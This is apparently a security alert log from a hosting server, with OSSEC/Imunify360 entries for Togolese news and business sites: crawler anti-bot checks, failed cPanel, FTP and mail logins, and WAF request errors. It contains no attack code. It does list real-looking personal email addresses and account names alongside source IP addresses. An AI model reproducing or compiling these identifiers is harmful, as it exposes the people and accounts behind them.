country_id: 1880251
description:
47.128.96.126 - - [10/Jun/2026:13:40:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6998425&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexpertise-france%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098838 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/expertise-france/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.33.212.117
country_id: 2017370
description:
2026-06-10 13:40:48 dovecot_plain authenticator failed for H=([198.23.185.222]) [62.33.212.117]:54806: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:13:42:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658198&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexpertise-france%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098945 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/expertise-france/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:13:43:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211754&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnotation-moodys-maintient-la-cote-de-credit-dafreximbank-a-baa1%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099016 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/notation-moodys-maintient-la-cote-de-credit-dafreximbank-a-baa1/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [10/Jun/2026:13:45:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857684&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcndh-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099110 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cndh-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [10/Jun/2026:13:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117734&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flundi-3-mai-2021-ferie-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099117 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lundi-3-mai-2021-ferie-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [10/Jun/2026:13:44:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776980&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprix-de-lhuile-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099091 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prix-de-lhuile-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.135.233
country_id: 3508796
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Notation\xc2\xa0: Moody's maintient la cote de cr\xc3\xa9dit d'Afreximbank \xc3\xa0 Baa1 | TOGODAILYNEWS&siteId=1&rec=1&rand=079549&h=21&m=45&s=56&url=http:/togodailynews.tg/notation-moodys-maintient-la-cote-de-credit-dafreximbank-a-baa1/&uid=0&pid=11721&visitorId=1a19adee034c0180&fvts=1781099156&vc=1&idn=0&refts=0&lvts=1781099156&fullRef=togodailynews.tg/notation-moodys-maintient-la-cote-de-credit-dafreximbank-a-baa1/#reply-title&send_image=1&cookie=1&res=375x812&gtms=4720&pvId=XrCeBr&browser=Chrome_49&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.126.15
country_id: 6252001
description:
[2026-06-10 13:46:25 +0000] info [cpaneld] 82.40.126.15 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.75.231.176
country_id: 2542007
description:
[2026-06-10 13:45:45 +0000] info [cpaneld] 196.75.231.176 - ucaouut "GET /login/?login_only=1&user=ucaouut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.86.20.99
country_id: 3469034
description:
[2026-06-10 13:45:43 +0000] info [cpaneld] 177.86.20.99 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.104.125.156
country_id: 3595528
description:
[2026-06-10 13:45:52 +0000] info [cpaneld] 190.104.125.156 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.196.6.228
country_id: 3658394
description:
[2026-06-10 13:45:39 +0000] info [cpaneld] 181.196.6.228 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.194
country_id: 1880251
description:
47.128.96.194 - - [10/Jun/2026:13:48:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855685&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgroupe-heidelbergcement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099335 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/groupe-heidelbergcement/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.194


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.16.129.24
country_id: 6252001
description:
[2026-06-10 13:49:15 +0000] info [cpaneld] 173.16.129.24 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.45
country_id: 2750405
description:
2026-06-10 13:50:56 H=([46.151.182.45]) [46.151.182.45]:57921 F=<mail@mailling.co.uk> rejected RCPT <misstg@misstogo.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:13:51:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673109&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099462 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 13:51:38 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 164.0.132.22
country_id: 1522867
description:
2026-06-10 13:53:29 H=([164.0.132.22]) [164.0.132.22]:29303 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:13:54:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9871254&pdata=https%253A%252F%252Fchuso.tg%252Fservice_chuso%252Fnephrologie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099673 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/service_chuso/nephrologie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.119
country_id: 1880251
description:
47.128.121.119 - - [10/Jun/2026:13:55:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855122&pdata=https%253A%252F%252Ftogomedia24.tg%252F2019%252F05%252F21%252Ftogo-le-ministre-ghaneen-de-la-securite-recu-par-le-president-de-la-republique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099714 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2019/05/21/togo-le-ministre-ghaneen-de-la-securite-recu-par-le-president-de-la-republique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.119


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:13:57:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054300&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-marabouts-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099821 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-marabouts-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [10/Jun/2026:13:58:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209383&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099893 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:13:57:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856712&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famevi-dabla%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099872 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amevi-dabla/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.89.191
country_id: 630336
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/dashicons.min.css?ver=6.9.4 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.20
country_id: 1880251
description:
47.128.96.20 - - [10/Jun/2026:13:59:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919275&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexplosion-dans-une-usine-chimique-en-chine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099945 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/explosion-dans-une-usine-chimique-en-chine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:13:58:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987990&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099926 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:14:00:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133467&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frecrutement-de-1000-jeunes-pour-la-pia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781099999 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/recrutement-de-1000-jeunes-pour-la-pia/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.46
country_id: 2921044
description:
2026-06-10 14:00:07 dovecot_plain authenticator failed for H=tor-exit-46.for-privacy.net (r00wlg1o6okelwe0sliju4bbcz) [185.220.101.46]:50365: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [10/Jun/2026:14:00:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10446696&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmode-et-protection-de-lenvironnement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100005 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mode-et-protection-de-lenvironnement/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [10/Jun/2026:14:01:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449252&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-le-cabinet-lucreatif-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100065 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-le-cabinet-lucreatif-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.180
country_id: 1880251
description:
47.128.96.180 - - [10/Jun/2026:14:01:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052502&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100084 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.180


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [10/Jun/2026:14:02:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907798&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdoctorat-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100137 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/doctorat-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 10 14:03:15 ns5 pure-ftpd[830318]: (?@47.84.199.24) [WARNING] Authentication failed for user [waywcbyw]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.163
country_id: 1880251
description:
47.128.96.163 - - [10/Jun/2026:14:05:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130538&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100309 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.163


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.55
country_id: 2363686
description:
[2026-06-10 14:06:09 +0000] info [webmaild] 102.212.93.55 - raouf.damtare@togointerim.net "GET /cpsess7887054902/3rdparty/roundcube/?_task=mail&_action=compose&_id=20359393996a22bdda00efe HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [41.78.138.50] != Current IP Address [102.212.93.55]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.38
country_id: 2363686
description:
[2026-06-10 14:06:15 +0000] info [webmaild] 102.212.93.38 - raouf.damtare@togointerim.net "GET /cpsess0729516204/3rdparty/roundcube/?_task=mail&_action=compose&_id=20359393996a22bdda00efe&login=1&post_login=72962310595814 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.57] != Current IP Address [102.212.93.38]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [10/Jun/2026:14:07:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7442841&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbem-dakar%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100427 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bem-dakar/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 154.40.142.19
country_id: 3625428
description:
154.40.142.19 - - [10/Jun/2026:14:08:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9658824&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100498 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.1715.1869 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:154.40.142.19


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 183.165.173.75
country_id: 1814991
description:
2026-06-10 14:09:25 H=([183.165.173.75]) [183.165.173.75]:53892 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [10/Jun/2026:14:09:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816171&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconvention-de-minamata%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100593 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/convention-de-minamata/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:14:10:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921114&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100600 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.208.204.138
country_id: 1643084
description:
[2026-06-10 14:11:38 +0000] info [cpaneld] 103.208.204.138 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.58.125
country_id: 2017370
description:
2026-06-10 14:12:28 dovecot_plain authenticator failed for H=([198.23.185.222]) [31.41.58.125]:52360: 535 Incorrect authentication data (set_id=info@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.99.209
country_id: 2017370
description:
2026-06-10 14:13:03 dovecot_plain authenticator failed for H=([198.23.185.222]) [146.158.99.209]:43322: 535 Incorrect authentication data (set_id=marketing@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [10/Jun/2026:14:13:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248489&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-de-recrutement-des-enseignants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100812 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-de-recrutement-des-enseignants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.189.64.255
country_id: 3996063
description:
2026-06-10 14:12:49 dovecot_plain authenticator failed for H=fixed-187-189-64-255.totalplay.net ([198.23.185.222]) [187.189.64.255]:12991: 535 Incorrect authentication data (set_id=support@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.167.229.221
country_id: 1282988
description:
2026-06-10 14:13:19 dovecot_plain authenticator failed for H=([198.23.185.222]) [103.167.229.221]:65392: 535 Incorrect authentication data (set_id=contact@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [10/Jun/2026:14:12:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803372&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcoup-detat-manque-au-benin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100768 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/coup-detat-manque-au-benin/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.160.5.146
country_id: 1819730
description:
